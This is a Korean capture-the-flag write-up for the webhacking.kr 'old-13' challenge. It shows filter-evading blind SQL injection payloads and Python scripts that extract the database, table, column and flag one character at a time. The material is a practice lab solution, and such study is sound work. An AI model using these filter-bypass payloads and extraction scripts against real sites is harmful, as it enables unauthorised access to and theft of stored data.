old-13

old-13

old-13

제출 칸에 1을 입력하면

0을 입력하면

2를 입력하면

1을 입력하면 1을

2를 입력하면 0을

0을 입력하면 아무것도 출력하지 않는다.

1이면 참 0이면 거짓인 것 같다.

페이지 소스 코드를 살펴보면

Challenge 13 body { background:black; color:white; font-size:10pt; } SQL INJECTION result0

제출 칸에서 필터링 되는 문자를 살펴보면

사칙연산(+, -, *, /), #, --, <, >, =, like, and, 공백, &&, ||, where, ascii, union 등

감을 못잡아 https://k-owl.tistory.com/156를 참고해서 풀었다.

■데이터베이스 이름 길이 찾기

database()는 데이터베이스 이름을 돌려주는 함수다. 공백을 필터링 하기 때문에 ()를 사용한다.

GET 방식이므로 ?no=(0)or(if(length(database())in(7),1,0))을 입력하면

데이터베이스 이름의 길이가 7인 것을 확인할 수 있다.

■데이터베이스 이름 찾기

?no=(0)or(if(ord(substr(database(),1,1))in(99),1,0))을 입력하면

데이터베이스 이름의 첫 글자가 'c'로 시작하는 것을 확인할 수 있다.

파이썬 코드를 이용해 데이터베이스의 이름을 찾아보면

import requests baseurl = "https://webhacking.kr/challenge/web-10/" cookies = {"PHPSESSID" : "PHPSESSID 값"} want_str = "1" db_name = "" for i in range(1, 8): for j in range(33, 127): url = baseurl + "?no=(0)or(if(ord(substr(database(),{},1))in({}),1,0))".format(i, j) res = requests.get(url=url, cookies=cookies) if want_str in res.text: db_name += chr(j) print("{} : {}".format(i, chr(j))) break print("db_name : ", db_name)

데이터베이스의 이름은 'chall13'인 것을 확인할 수 있다.

■테이블 이름 길이 찾기

?no=if((select(length(min(if((select(table_schema)in(데이터베이스이름)),table_name,null)))) from(information_schema.tables))in(테이블명길이),1,0)

if((select(table_schema)in(데이터베이스이름)),table_name,null)

위에서 찾은 chall13안에 테이블이 있으면 테이블 이름을 반환한다.

?no=if((select(length(min(table_name)))from(information_schema.tables))in(테이블명길이),1,0)

MySQL 데이터베이스는 informaion_schema라는 테이터베이스에서 데이터베이스 이름, 테이블, 칼럼 정보 등을 관리한다. min을 왜 사용하는지는 모르겠지만, 없을 경우 테이블 이름의 길이가 출력되지 않았다.

이 구문을 이용해 테이블 이름의 길이를 구해보면

import requests baseurl = "https://webhacking.kr/challenge/web-10/" cookies = {"PHPSESSID" : "PHPSESSID 값"} want_str = "1" table_len = 0 for i in range(1, 100): url = baseurl + "?no=if((select(length(min(if((select(table_schema)in(database())),table_name,null))))from(information_schema.tables))in({}),1,0)".format(i) res = requests.get(url=url, cookies=cookies) if want_str in res.text: table_len += i break print("table_len : ", table_len)

테이블 이름의 길이가 13인 것을 알 수 있다.

■테이블 이름 찾기

테이블 이름의 첫 글자를 찾기 위해

if((select(ord(substr(min(if((select(table_schema)in(database())),table_name,null)),1,1)))

from(information_schema.tables))in(102),1,0)를 입력하면

테이블의 첫 글자가 'f'로 시작하는 것을 알 수 있다.

파이썬 코드를 이용해 테이블 이름을 구해보면

import requests baseurl = "https://webhacking.kr/challenge/web-10/" cookies = {"PHPSESSID" : "PHPSESSID 값"} want_str = "1" table_name = "" for i in range(1, 14): for j in range(33, 127): url = baseurl + "?no=if((select(ord(substr(min(if((select(table_schema)in(database())),table_name,null)),{},1)))from(information_schema.tables))in({}),1,0)".format(i, j) res = requests.get(url=url, cookies=cookies) if want_str in res.text: table_name += chr(j) print("{} : {}".format(i, chr(j))) break print("table_name : ", table_name)

■Column 길이 찾기

if((select(length(min(if((select(table_name)in(테이블명)),column_name,null))))

from(information_schema.columns))in(컬럼명의 길이),1,0)

테이블명을 그대로 하면 제대로 출력되지 않는다. 0x는 필터링 되므로 0b를 사용한다.

테이블명을 이진수로 바꿔 입력하면

?no=if((select(length(min(if((select(table_name)in(0b0110011001101100011000010110011101

0111110110000101100010001101110011001100110011001101110011011000111000)),column_name,null))))

from(information_schema.columns))in(13),1,0)

테이블 길이가 13인 것을 확인할 수 있다.

■Column 이름 찾기

no=?if((select(ord(substr(min(if((select(table_name)in(0b011001100110110001100001011001110101111101

10000101100010001101110011001100110011001101110011011000111000)),column_name,null)),1,1)))

from(information_schema.columns))in(

102

),1,0)을 입력하면

Column의 첫 글자가 'f'인 것을 확인할 수 있다.

파이썬 코드를 이용하여 나머지 글자도 찾아보면

import requests baseurl = "https://webhacking.kr/challenge/web-10/" cookies = {"PHPSESSID" : "PHPSESSID"} want_str = "1" column_name = "" for i in range(1, 14): for j in range(33, 127): url = baseurl + "?no=if((select(ord(substr(min(if((select(table_name)in(0b01100110011011000110000101100111010111110110000101100010001101110011001100110011001101110011011000111000)),column_name,null)),{},1)))from(information_schema.columns))in({}),1,0)".format(i, j) res = requests.get(url=url, cookies=cookies) if want_str in res.text: column_name += chr(j) print("{} : {}".format(i, chr(j))) break print("column_name : ", column_name)

Column 이름이 'flag_3a55b31d'라는 것을 알 수 있다.

■flag 길이 찾기

이제 Column안에 flag를 찾으면 된다.

?no=if((select(length(max(컬럼명)))from(데이터베이스명.테이블명))in(길이),1,0)을 이용하면

flag의 길이를 찾을 수 있다.

?no=if((select(length(max(flag_3a55b31d)))from(chall13.flag_ab733768))in(27),1,0)을 입력하면

flag의 길이가 27임을 알 수 있다.

■flag 찾기

?no=if((select(ord(substr(max(컬럼명),1,1)))from(데이터베이스명.테이블명))in(문자),1,0)로 flag를 찾을 수 있다.

?no=if((select(ord(substr(max(flag_3a55b31d),1,1)))from(chall13.flag_ab733768))in(70),1,0)을 입력하면

flag의 첫 글자가 'F'임을 알 수 있다.

파이썬 코드를 이용해서 찾아보면

import requests baseurl = "https://webhacking.kr/challenge/web-10/" cookies = {"PHPSESSID" : "PHPSESSID"} want_str = "1" flag = "" for i in range(1, 28): for j in range(33, 127): url = baseurl + "?no=if((select(ord(substr(max(flag_3a55b31d),{},1)))from(chall13.flag_ab733768))in({}),1,0)".format(i, j) res = requests.get(url=url, cookies=cookies) if want_str in res.text: flag += chr(j) print("{} : {}".format(i, chr(j))) break print("flag : ", flag)

FLAG 칸에 찾은 값을 입력하면

문제를 해결할 수 있다.

from http://woong971.tistory.com/186 by ccl(A) rewrite - 2021-11-29 09:27:18